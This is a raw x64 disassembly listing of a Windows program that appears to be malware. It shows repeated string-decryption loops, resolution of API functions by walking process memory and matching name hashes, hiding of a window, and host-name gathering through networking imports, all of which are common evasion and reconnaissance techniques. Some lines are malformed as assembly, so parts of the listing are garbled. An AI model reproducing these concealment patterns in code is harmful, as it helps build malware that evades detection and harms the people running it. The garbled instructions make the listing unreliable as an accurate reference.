xor r8d, r8d
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000e0b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x14000e19f
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x14000e19f
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rdx
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0x3701aec3
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000e195
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000e170
cmp r8d, 0xbd03f04a
je 0x14000e1a7
test r9d, r9d
mov rdx, qword [rsp + 0x40]
jne 0x14000e140
mov rax, qword [rax]
jmp 0x14000e100
mov r8, qword [rsp + 0x38]
mov ecx, dword [r8 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r8 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
lea rcx, [rsp + 0x6c]
call rax
movsd xmm0, qword [str.tVKxT_OZ]
movsd qword [rbp + 0x30], xmm0
mov eax, dword [0x14008dc90]
mov dword [rbp + 0x38], eax
movzx eax, byte [0x14008dc94]
mov byte [rbp + 0x3c], al
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000e2fb
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm2, xmmword [0x14008e970]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008e990]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
mov eax, dword [0x14008e9c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.tVKxT_OZ]
xorps xmm2, xmm0
movd dword [rbp + 0x30], xmm2
movdqa xmm3, xmmword [0x14008e980]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008e990]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x34]
xorps xmm2, xmm1
movd dword [rbp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000e310
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x14000e3ff
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x14000e3ff
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rdx
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0x990e757e
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000e3f5
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000e3d0
cmp r8d, 0x8b0e567d
je 0x14000e407
test r9d, r9d
mov rdx, qword [rsp + 0x40]
jne 0x14000e3a0
mov rax, qword [rax]
jmp 0x14000e360
mov r8, qword [rsp + 0x38]
mov ecx, dword [r8 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r8 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
lea rcx, [rbp + 0x30]
call rax
movups xmm0, xmmword [0x14008e648]
movups xmmword [rbp + 0x4f8], xmm0
movups xmm1, xmmword [0x14008e658]
movups xmmword [rbp + 0x508], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x14000e5e0
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000e5a2
movdqa xmm5, xmmword [0x14008e970]
xor edx, edx
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x4fc]
mov r8d, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x14000e4a0
jmp 0x14000e5e0
lea r9, [rbp + 0x4f8]
xor r8d, r8d
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x14000e5b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x14000e69f
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x14000e69f
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rdx
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0xadae10b6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000e695
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000e670
cmp r8d, 0xcc9b8df7
je 0x14000e6a7
test r9d, r9d
mov rdx, qword [rsp + 0x40]
jne 0x14000e640
mov rax, qword [rax]
jmp 0x14000e600
mov r8, qword [rsp + 0x38]
mov ecx, dword [r8 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r8 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
lea rcx, [rbp + 0x4f8]
call rax
mov rax, qword [str.twj]
mov qword [rbp - 0x18], rax
cmp byte [0x14008d6c7], 0
je 0x14000e830
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000e7ee
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm2, xmmword [0x14008e970]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008e990]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
mov eax, dword [0x14008e9c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x18]
xorps xmm2, xmm1
movd dword [rbp - 0x18], xmm2
movdqa xmm3, xmmword [0x14008e980]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008e990]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x14]
xorps xmm2, xmm1
movd dword [rbp - 0x14], xmm2
jmp 0x14000e830
lea r9, [rbp - 0x18]
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14000e800
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x14000e8ef
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x14000e8ef
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rdx
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0xc60f497b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000e8e5
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000e8c0
cmp r8d, 0x3490f724
je 0x14000e8f7
test r9d, r9d
mov rdx, qword [rsp + 0x40]
jne 0x14000e890
mov rax, qword [rax]
jmp 0x14000e850
mov r8, qword [rsp + 0x38]
mov ecx, dword [r8 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r8 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
lea rcx, [rbp - 0x18]
call rax
movups xmm0, xmmword [str.AZQZ]
movups xmmword [rbp + 0x1b8], xmm0
movsd xmm0, qword [0x14008e710]
movsd qword [rbp + 0x1c8], xmm0
movzx eax, word [0x14008e718]
mov word [rbp + 0x1d0], ax
movzx eax, byte [0x14008e71a]
mov byte [rbp + 0x1d2], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000eaa9
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x1bc]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000e9a0
cmp r8d, 0x1b
jge 0x14000eaf0
movsxd rax, r8d
lea r9, [rbp + 0x1b8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x14000eac0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x14000ebaf
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x14000ebaf
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rcx
nop word [rax + rax]
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x473ab063
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000eba5
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000eb80
test r9d, r9d
mov rcx, qword [rsp + 0x40]
jne 0x14000eb50
mov rax, qword [rax]
jmp 0x14000eb10
xor edx, edx
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1680], xmm0
mov qword [rbp + 0x1690], rax
lea rax, [rbp + 0x518]
mov qword [rsp + 0x38], rax
mov eax, dword [0x14008df50]
mov dword [rbp - 0x54], eax
movzx ecx, word [0x14008df54]
mov word [rbp - 0x50], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x54], gethostname
xor byte [rbp - 0x53], 0x37
xor byte [rbp - 0x52], 0x38
xor byte [rbp - 0x51], 0x39
xor cl, 0x3a
mov byte [rbp - 0x50], cl
xor byte [rbp - 0x4f], 0x3b
xor al, 0x3c
mov byte [rbp - 0x4e], al
movzx edx, bl
lea rcx, [rbp + 0x518]
call fcn.140016c00
nop
lea rax, [rbp - 0x54]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000f9e0
lea rdx, [rbp - 0x54]
lea rcx, [rbp + 0x518]
call fcn.140016c20
nop
lea r8, [rbp + 0x518]
lea rdx, [rbp + 0x1680]
lea rcx, [rbp + 0x1ea0]
call fcn.140021b80
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1668], xmm0
mov qword [rbp + 0x1678], rax
lea rax, [rbp + 0x538]
mov qword [rsp + 0x38], rax
mov eax, dword [0x14008dee0]
mov dword [rbp - 0x4c], eax
movzx ecx, word [0x14008dee4]
mov word [rbp - 0x48], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x4c], reloc.WS2_32.dll_gethostname
xor byte [rbp - 0x4b], 0x37
xor byte [rbp - 0x4a], 0x38
xor byte [rbp - 0x49], 0x39
xor cl, 0x3a
mov byte [rbp - 0x48], cl
xor byte [rbp - 0x47], 0x3b
xor al, 0x3c
mov byte [rbp - 0x46], al
movzx edx, dil
lea rcx, [rbp + 0x538]
call fcn.140016c00
nop
lea rax, [rbp - 0x4c]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000fa90
lea rdx, [rbp - 0x4c]
lea rcx, [rbp + 0x538]
call fcn.140016c20
nop
lea r8, [rbp + 0x538]
lea rdx, [rbp + 0x1668]
lea rcx, [rbp + 0x1ea0]
call fcn.140021b80
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1650], xmm0
mov qword [rbp + 0x1660], rax
lea rax, [rbp + 0x558]
mov qword [rsp + 0x38], rax
mov eax, dword [0x14008dc38]
mov dword [rsp + 0x7c], eax
movzx ecx, word [0x14008dc3c]
mov word [rbp - 0x80], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x7c], Ordinal_50
xor byte [rsp + 0x7d], 0x37
xor byte [rsp + 0x7e], 0x38
xor byte [rsp + 0x7f], 0x39
xor cl, 0x3a
mov byte [rbp - 0x80], cl
xor byte [rbp - 0x7f], 0x3b
xor al, 0x3c
mov byte [rbp - 0x7e], al
movzx edx, sil
lea rcx, [rbp + 0x558]
call fcn.140016c00
nop
lea rax, [rsp + 0x7c]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14000fb41
lea rdx, [rsp + 0x7c]
lea rcx, [rbp + 0x558]
call fcn.140016c20
nop
lea r8, [rbp + 0x558]
lea rdx, [rbp + 0x1650]
lea rcx, [rbp + 0x1ea0]
call fcn.140021b80
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1638], xmm0
mov qword [rbp + 0x1648], rax
lea rax, [rbp + 0x578]
mov qword [rsp + 0x38], rax
mov eax, dword [0x14008dd24]
mov dword [rbp - 0x74], eax
movzx ecx, word [0x14008dd28]
mov word [rbp - 0x70], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x74], 0x34
xor byte [rbp - 0x73], 0x37
xor byte [rbp - 0x72], 0x38
xor byte [rbp - 0x71], 0x39
xor cl, 0x3a
mov byte [rbp - 0x70], cl
xor byte [rbp - 0x6f], 0x3b
xor al, 0x3c
mov byte [rbp - 0x6e], al
movzx edx, r14b
lea rcx, [rbp + 0x578]
call fcn.140016c00
nop
lea rax, [rbp - 0x74]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000fbf0
lea rdx, [rbp - 0x74]
lea rcx, [rbp + 0x578]
call fcn.140016c20
nop
lea r8, [rbp + 0x578]
lea rdx, [rbp + 0x1638]
lea rcx, [rbp + 0x1ea0]
call fcn.140021b80
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1620], xmm0
mov qword [rbp + 0x1630], rax
lea rax, [rbp + 0x598]
mov qword [rsp + 0x38], rax
mov eax, dword [0x14008d6b4]
mov dword [rbp - 0x7c], eax
movzx ecx, word [0x14008d6b8]
mov word [rbp - 0x78], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x7c], Ordinal_50
xor byte [rbp - 0x7b], 0x37
xor byte [rbp - 0x7a], 0x38
xor byte [rbp - 0x79], 0x39
xor cl, 0x3a
mov byte [rbp - 0x78], cl
xor byte [rbp - 0x77], 0x3b
xor al, 0x3c
mov byte [rbp - 0x76], al
movzx edx, r15b
lea rcx, [rbp + 0x598]
call fcn.140016c00
nop
lea rax, [rbp - 0x7c]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000fca0
lea rdx, [rbp - 0x7c]
lea rcx, [rbp + 0x598]
call fcn.140016c20
nop
lea r8, [rbp + 0x598]
lea rdx, [rbp + 0x1620]
lea rcx, [rbp + 0x1ea0]
call fcn.140021b80
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1950]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x14008d488]
movups xmmword [rbp + 0xb48], xmm0
movups xmm1, xmmword [0x14008d498]
movups xmmword [rbp + 0xb58], xmm1
movsd xmm0, qword [0x14008d4a8]
movsd qword [rbp + 0xb68], xmm0
mov eax, dword [0x14008d4b0]
mov dword [rbp + 0xb70], eax
movzx eax, word [0x14008d4b4]
mov word [rbp + 0xb74], ax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000fe89
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xb4c]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000fd80
cmp r8d, 0x2e
jge 0x14000fed0
movsxd rax, r8d
lea r9, [rbp + 0xb48]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2e
jl 0x14000fea0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rdx, [rbp + 0xb48]
lea rcx, [rbp + 0x1950]
call fcn.1400159e0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1a60]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x14008db60]
movups xmmword [rbp + 0xce0], xmm0
movups xmm1, xmmword [0x14008db70]
movups xmmword [rbp + 0xcf0], xmm1
movups xmm0, xmmword [0x14008db80]
movups xmmword [rbp + 0xd00], xmm0
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140010082
movdqa xmm5, xmmword [0x14008e970]
xor edx, edx
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xce4]
mov r8d, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
fild dword [rax]
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x14000ff80
jmp 0x1400100c0
lea r9, [rbp + 0xce0]
xor r8d, r8d
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x140010090
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rdx, [rbp + 0xce0]
lea rcx, [rbp + 0x1a60]
call fcn.1400159e0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1b70]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x14008e518]
add byte [rdi], cl
adc dword [rbp + 0xa58], eax
movups xmm1, xmmword [0x14008e528]
movups xmmword [rbp + 0xa68], xmm1
movsd xmm0, qword [0x14008e538]
movsd qword [rbp + 0xa78], xmm0
movzx eax, word [0x14008e540]
